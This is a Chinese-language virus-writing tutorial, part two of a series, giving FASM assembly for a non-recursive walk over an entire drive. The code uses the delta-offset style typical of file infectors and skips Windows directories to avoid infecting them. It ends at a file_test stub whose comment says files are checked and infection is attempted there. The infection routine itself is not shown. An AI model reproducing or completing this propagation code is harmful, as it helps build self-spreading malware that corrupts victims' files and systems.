第二部分 硬盘非递归搜索技术
第一部分PKXP介绍了硬盘的递归搜索技术,本部分介绍非递归搜索硬盘的技术,非递归搜索技术和递归搜索技术是类似的,其不同处在于递归搜索是利用堆栈存储目录及文件数据,而非递归搜索是利用自己分配的缓冲区存储数据,相比之下这种方法更加灵活,但需要的代码量稍大。可以使用单向链表或双向链表或其他结构,但最常使用的是双向链表。
其主要思想是用非递归方法模拟递归过程,具体代码如下。
下面是一段示例代码,只是起演示说明作用,用FASM编写:
gMem dd 0
infNum dd 10
pBuf dd 0
curDrive db 'A:\',0
;-----------------------------------------
struc SXD{
.prev dd 0
.hcur dd 0
.WF32 WIN32_FIND_DATA
.size=$-.prev
}
virtual at 0
sxd SXD
end virtual
serchxdisk:
invoke ebp+aGlobalAlloc-@@0,GMEM_FIXED,256
jeaxz not_mem_file_exit
mov [ebp+gMem-@@0],eax
invoke ebp+aGetCurrentDirectory-@@0,256,eax ;保存原目录
lea eax,[ebp+curDrive-@@0]
invoke ebp+aSetCurrentDirectory-@@0,EAX
invoke ebp+aGlobalAlloc-@@0,GMEM_FIXED,sxd.size
jeaxz find_exit
xchg esi,eax
mov [esi+sxd.prev],0
find_first_file:
push '*.*'
mov eax,esp
lea ebx,[esi+sxd.WF32]
invoke ebp+aFindFirstFile-@@0,eax,ebx
pop ecx
mov [esi+sxd.hcur],eax
jeaxz find_file_prev
dir_test: ;是否是目录?
mov eax,[ebx+w32fd.dwFileAttributes]
lea edi,[esi+sxd.WF32.cFileName]
test eax,FILE_ATTRIBUTE_DIRECTORY
je file_test
cmp B [edi],'.' ;skip '.' and '..' directories
je find_file_next
mov eax,[edi]
or eax,20202020h
cmp eax,'winn' ;排除感染winn*或wind*目录。。。。
je find_file_next
cmp eax,'wind'
je find_file_next
invoke ebp+aSetCurrentDirectory-@@0,edi
xchg ecx,eax
jecxz find_file_next
invoke ebp+aVirtualAlloc-@@0,0,sxd.size,MEM_COMMIT,PAGE_READWRITE
xchg ecx,eax
jecxz step_updir
xchg esi,ecx
mov [esi+sxd.prev],ecx
jmp find_first_file
find_exit:
mov eax,[ebp+gMem-@@0]
push eax
invoke ebp+aSetCurrentDirectory-@@0,EAX ;恢复原目录
call [ebp+aGlobalFree-@@0]
not_mem_file_exit:
ret
;-------------------------------------
find_file_next:
lea ebx,[esi+sxd.WF32]
mov edi,[esi+sxd.hcur]
invoke ebp+aFindNextFile-@@0,edi,ebx
jeaxnz dir_test
invoke ebp+aFindClose-@@0,edi
find_file_prev:
push MEM_RELEASE
push sxd.size
push esi
mov esi,[esi+sxd.prev]
call [ebp+aVirtualFree-@@0]
or esi,esi
je find_exit
step_updir:
push '..'
push esp
call [ebp+aSetCurrentDirectory-@@0]
pop eax
jmp find_file_next
file_test:
;这里检验并试图感染文件...
jmp find_file_next
|